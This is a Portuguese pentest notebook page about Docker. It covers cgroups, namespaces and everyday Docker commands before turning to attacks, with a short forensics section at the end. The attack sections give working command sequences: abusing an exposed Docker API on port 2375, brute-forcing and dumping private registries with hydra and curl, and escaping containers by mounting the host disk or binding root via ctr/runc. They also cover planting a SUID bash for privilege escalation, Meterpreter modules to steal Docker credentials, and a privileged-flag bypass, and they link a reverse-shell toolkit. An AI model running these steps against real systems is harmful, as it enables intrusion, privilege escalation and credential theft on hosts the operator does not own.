Docker
Recursos de um Virtualizador
Cgroups
Cada container possui sua própria Cgroups
(Control Groups ou Grupo de Controle). O Cgroups é responsável por controlar CPU, memória, rede e leitura/escrita de rede de cada container
Diretório onde ficam os recursos do Cgroups
/sys/fs/cgroup
Dentro de cada diretório (que representa um recurso), tem os subrecursos
Criando um Cgroups
cgcreate -g memory:<nome>
Listando todos os Cgroups
lscgroup
lscgroup | grep i docker
Definindo um valor pelo Cgroups. Os comandos são "repetidos", porque existe um bug, então deve-se executar os 3 comandos
cgset -r memory.memsw.limit_in_bytes=160M grupo_de_teste
cgset -r memory.limit_in_bytes=160M grupo_de_teste
cgset -r memory.memsw.limit_in_bytes=160M grupo_de_teste
Verificando o valor
cgget -r memory.limit_in_bytes grupo_de_teste
Deletando um Cgroups
cgdelete -g memory:grupo_de_teste
Namespace
Listando os Namespace
lsns
Rede
Criando rede Namespace
ip link add ens172 type dummy
ip netns add rede_teste
ip link set ens172 netns rede_teste
Listando redes Namespace
ip netns list
Executando comando em uma rede do Namespace
ip netns exec rede_teste ifconfig ens172 up
Acessando bash dentro do namespace de rede
ip netns exec rede_teste bash
Instalação e Configuração do Docker
Instalando
https://docs.docker.com/install/linux/docker-ce/ubuntu/
Adicionando o usuário no grupo:
sudo groupadd docker
sudo usermod -aG docker $USER
OBS.: Depois que instalado, faça logout no sistema
Informações Básicas
Versão do Docker
docker version
Informações detalhadas do Docker
docker info
Executando Hello World
docker run hello-world
Imagens
Imagens no mundo Docker, são como templates que servirão de base para executar um container.
Procurando por uma Imagem
docker search <image>
Baixando um Imagem
docker pull <image>
Listando Todas as Images
docker images
Removendo Todas as Images
docker rmi $(docker images -a -q)
Remove todas as imagens que não estão "tagiadas" (possuem TAG).
Utilize docker images
para ver as imagens que estão "tagiadas"
docker system prune
Containers
O Container é uma instância de uma Imagem em execução naquele momento, que pode ter status como start
e stop
, e pode ser destruída e gerada rapidamente a qualquer momento.
Verificando Somente os Containers que estão em execução
docker ps
Verificando Todos os Containers
Diferentemente do comando acima, este exibe também os Containers que estão em Stop.
docker ps -a
Listando Somente o ID dos Containers em Execução
docker ps -q
Listando o ID de dos Todos os Containers
docker ps -q
Executando um Container a Partir de um Imagem
O parâmetro --rm
irá excluir o container (caso já exista).
docker run -d --rm --name <new_name_container> <image> -v <local_directory>:<container_directory>
Criando um Container e Interagindo com o /bin/bash
docker run -it ubuntu
As vezes pode ser necessário chamar o nome da imagem, seguido da sua versão (TAG). Execute docker images
para ver a versão. Um exemplo do comando anterior utilizando a versão, seria como no exemplo abaixo:
docker run -it ubuntu:18.04
Criando um Container e Executando um Comando
docker run ubuntu ls -lha
Inicializa um Container a partir de uma Imagem sem deixar o Terminal preso
Por padrão, o Docker irá deixar seu terminal preso, por isso deve utilizar a opção -d
(detached), para oculte a sua saída e deixe o terminal livre para utilizar em outro propósitos.
docker run -d <image>
Acessando Portas (aleatórias) de um Container externamente
Isso serve para utilizar a porta do Container como se fosse localmente.
docker run -d -P <image>
Definindo Portas do Container Externamente
Diferente da opção -P
, este permite escolher qual porta iremos acessar via localhost.
docker run -d -p <port_localhost>:<port_container> <image>
Verificando Portas de Determinado Container
docker port <container_id>
Definindo o Diretório onde irá executar determinado Comando
docker run -w "/var" ubuntu ls -lha
Definindo Variáveis de Ambiente
Note que pode repetir o parâmetro -e
quantas vezes for necessário.
docker run -d -e MYVAR="valor" -e MYVAR2="valor2" <image>
Startando um Container
docker start <id_container>
Startando um Container que já foi finalizado, porém deixando o Terminal em Modo Interativo
docker start -a -i <container_id>
Parando Container de Forma Mais Rápida
Por padrão o docker demora 10 segundos para parar um serviço
docker stop -t 0 <container_id>
Parando Todos os Containers
docker stop -t 0 $(docker ps -q)
Executa determinado Comando em um Container que já está sendo Executado
# i = Interativo
# -t = Terminal
docker exec -it <container> <command>
Parando (Stop) um Container e Removendo ao Mesmo Tempo
docker rm -f <container_id>
Volume
Criando um Volume
docker volume create <name_volume>
Deletando um Volume
docker volume rm <name_volume>
Listando Todos os Volumes
docker volume ls
Inspecionando Volume
docker volume inspect <name_volume>
Verificando Montagens (volume) de um Container
docker inspect -f {{.Mounts}} <id_container>
Network
Ao criar uma rede própria (Network), podemos fazer com que um container se comunique com outros containers através do hostname
Criando uma Network
docker network create --driver bridge <nome_da_rede>
Listando as Networks
docker network ls
Criando um Container em uma Network
docker run -it --name <name_container> --network <nome-rede> ubuntu
Inspeciona Determinada Network
Útil para ver quais containers estão conectadas na rede
docker network inspect <name_network>
Removendo uma Network
docker network rm <netwok_id>
Dockerfile
Buildando
Caso o seu arquivo chame exatamente Dockerfile
, não é preciso passar o parâmetro -f
. Se atente também no ponto que está no final do comando
docker build -f <file> -t <image> .
Docker Compose
Executando o docker-compose.yml
Utilize a opçao -d
para jogar o processo em background e não ficar com o terminal preso. Utilize o parâmetro -f
para especificar o arquivo de configuração ou deixa em branco para ficar como default, onde o irá ser procurado um arquivo chamado docker-compose.yml
no diretório atual.
docker-compose up
docker-compose up -d
docker-compose -f <file.yml> up -d
Listando os Serviços do docker-compose
docker-compose ps
Parando (Stop) e Removendo Todos os Containers do docker-compose
docker-compose down
Reiniciando os Containers do docker-compose
docker-compose -f <file.yml> restart
Verificando se Está em um Docker
Assim que conseguir uma Reverse Shell ou termos qualquer tipo de acesso/interação, é importando analisarmos se estamos lidando com um Docker. Podemos fazer isso das seguintes maneiras:
Veja se existe o arquivo
/.dockerenv
Verifique o hostname, que geralmente tem código (Container ID) no nome
Execute
ps -eaf
e verifique os processos. Geralmente Docker tem uma quantidade reduzida de processosVeja se no início do
phpinfo.php
o nome da máquina é algo como "Linux 23d24ff620b3 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64"
Gerenciando Containers sem o Docker Client
CTR
Ferramenta substituda do docker
, que também permite realizar diversas operações com containers
Listando todos as imagens
ctr image ls
Listando todos os containers
ctr container ls
Iniciando um container. Note que o nome da imagem está no padrão da saída do primeiro comando do ctr
, então o alpine:latest
, seria o equivalente a docker.io/library/alpine:latest
.
ctr run --rm --mount type=bind,src=/,dst=/,options=rbind:rw <image> <nome> sh -c "bash"
RUNC
Primeiro vamos criar nosso arquivo config.json
no diretório atual, através do comando:
runc spec
Edite o arquivo config.json
, e no nó root
, mude o valor de readonly
para false
. E logo abaixo no nó mounts
, crie uma chave nova em mounts[0]
, com o seguinte valor:
"type": "bind",
"source": "/",
"destination": "/",
"options": ["rbind", "rw"]
Crie o diretório rootfs
mkdir rootfs
Agora execute o runc
runc run mysther
Docker Socket
Caso a porta 2375 esteja aberta, é possível acessar o docker do host. Não existe mecanismo de segurança eficaz para isso (não é possível colocar senha), então o melhor é deixá-lo em um servidor privado, pois caso esteja exposto, qualquer pessoa poderá acessá-lo.
export DOCKER_HOST=tcp://<ip>:2375
docker ps
Docker Registry
Um Docker Registry é utilizado para armazenar e compartilhar imagens docker. Geralmente o Docker Registry público possui uma segurança boa, como por exemplo Docker Hub, porém o Registry Privado não, pois depende da própria segurança da empresa.
Geralmente no NMAP, iremos encontrar uma saída do tipo
5000/tcp open http Docker Registry (API: 2.0)
Verificando todas os repositórios
curl http://<ip>:5000/v2/_catalog
O comando acima só é possível quando o Registry está desprotegido por senha. Caso precise de senha, utilize o HTTP HEAD para ver o tipo de autenticação e depois realize um ataque de Brute Force. Para o exemplo abaixo, a saída no HEAD deve ser www-authenticate: Basic realm="Registry Realm"
hydra -l <user> -P <wordlist> <ip> -s 5000 https-get /v2/
Para verificar se as credenciais estão corretas, utilize o comando abaixo:
curl -sku '<user>:<pass>' https://<ip>:5000/v2/_catalog | jq
Pegando as tags dos repositórios
curl http://<ip>:5000/v2/<name>/tags/list
Recupera o manifest identificado pelo nome e referência, onde a referência pode ser uma tag ou digest. Também é possível realizar uma solicitação via HEAD para receber detalhes do Header Response
curl -s http://<ip>:5000/v2/<name>/manifests/<tag> | jq
Com a saída do comando acima, vá em fsLayers
e selecione um dos (ou todos) valores de blobSum
, de cima para baixo (geralmente com o padrão sha256:<hash>
). Feito isso, execute o comando abaixo para baixar os arquivos do container. Geralmente vamos ter 3 ou mais Blobs, sendo o primeiro (de baixo pra cima), a Base
que são os arquivos do SO, o segundo que contém os Metadatas
e o(s) último(s) que será o Diferencial
, ou seja, os arquivos que foram modificados.
curl -so <output.tar> http://<ip>:5000/v2/<name>/blobs/<sha254:hash>
tar -xvf <output.tar>
Automatizando o Download de Arquivos
for x in $(curl -s http://<ip>:5000/v2/<name>/manifests/latest | jq | grep -i sha256 | cut -d '"' -f 4) ; do curl -so $(echo $x | cut -d":" -f2).tar "http://<ip>:5000/v2/<name>/blobs/$x" ; tar -xvf $(echo $x | cut -d":" -f2).tar ; done
Iniciando um Registro Local
docker container start registry
Escapando do Container Docker
Capsh
Mostra todos os Capabilities que o Container está executando. Se tiver muitas Capabilities, provavelmente está com um Container Privilegiado, o que é um vetor de ataque. Verifique se a Capability cap_sys_admin
está ativa, e se positivo, podemos sair do Docker e acessar o host hospedeiro.
capsh --print
Execute então os comandos abaixo e verifique:
df -h
= Exibe ooverlay
apontando para o/
fdisk -l
= Exibe o /dev/sda1
Caso positivo, poedmos acessar os arquivos da máquina hospedeira, então execute:
mount /dev/sda1 /mnt
cd /mnt
ls
Após entrar no /mnt
, execute os comandos abaixo para acessar comandos no SO hospedeiro (dependendo do cenário, pode ou não funcionar).
chroot .
Caso não funcione a execução de comandos no SO, não se preocupe, pois você ainda tem acesso aos arquivos do sistema. Então basta inserir um novo usuário com privilégios root no host hospedeiro e depois acessá-lo de alguma forma, como por exemplo, via SSH
API Docker
Bypass para montar Container com Volume. Primeiro pegue a versão da API (por exemplo 1.41)
docker version | grep 'API version'
Agora crie um container com o volume criado
curl -s http://<ip>:2375/<api-version>/containers/create -H 'Content-type: Application/json' -d '{"Image": "<image>", "Binds": ["/:/mysther"], "Tty": true, "OpenStdin": true}' | jq
Inicie e acesse o container
docker start <container_id>
docker exec -it <container_id> bash
Entre no diretório e enjaule
cd /mysther/
chroot .
Deixe o bash com SUID Bit ativo
cp /bin/bash /tmp
chmod u+s /tmp/bash
Saio do Docker e volte para a máquina principal (usuário comum do SO) e faça o PrivEsc
exit
exit
/tmp/bash -p
Meterpreter
Caso tenha comprometido um host e esteja com o Meterpreter, utilize os posts abaixo para verificar se o alvo usa docker e então pegar suas credenciais.
# Verificando se o alvo utiliza Docker
post/linux/gather/checkcontainer
# Pegando credenciais
post/multi/gather/docker_creds
Criando Container Privilegiado com Bypass
Privileged Bypass
Útil em casos onde temos acesso ao comando docker, porém não podemos criar containers priviligiados (--privileged
).Utilize a maneira abaixo para realizar bypass
docker run -dit --security-opt "seccomp=unconfined" --name pwn ubuntu
docker exec -it --privileged pwn bash
Forense
Container Diff
Ferramenta desenvolvida pelo Google para analisar imagens Docker, tanto local quanto remoto.
Instalando
curl -sLO https://storage.googleapis.com/container-diff/latest/container-diff-linux-amd64
mkdir -p "/opt/bin" && export PATH="$PATH:/opt/bin"
install container-diff-linux-amd64 /opt/bin/container-diff
ln -s /opt/bin/container-diff /bin/container-diff
Salvando uma imagem em seu estado atual em arquivo tar
docker image save -o <file.tar> <image>
Verificando histórico de modificações de uma imagem
container-diff analyze -t history <file.tar>
Verificando pacotes adicionados
container-diff analyze -t apt <file.tar>
container-diff analyze -t aptlayer <file.tar>
Docker Diff
Vendo alterações realizadas depois que o container foi montado. Verifique se arquivos sensíveis como /etc/shadow
foi alterados, pois isso pode ser indício de um ataque. Na saída podemos ver que as alinhas começam com C
(Created), D (Deteled) e A
(Altered)
docker diff <container-id>
Caso encontre arquivos suspeitos e queira analisar melhor, utilize o comando abaixo para baixá-los. Como exemplo, iremos utilizar o /etc/shadow
docker cp <container-id-suspeito>:/etc/shadow shadow_suspeito
Crie um novo container com o arquivo original
docker run -d --name <image-original> <image>
Copie o arquivo original para a máquina local
docker cp <container-id-original>:/etc/shadow shadow_original
Agora verifique a diferença entre esses arquivos (o que foi modificado e o original)
diff shadow_suspeito shadow_original
CRIU (Checkpoint and Restore In Userspace)
Ferramenta que permite criar pontos de restauração de Conatainers
Instalando
sudo apt install criu
Sites
# Reverse Shell em Conatiners
https://github.com/PinkP4nther/Pinkit
Last updated
Was this helpful?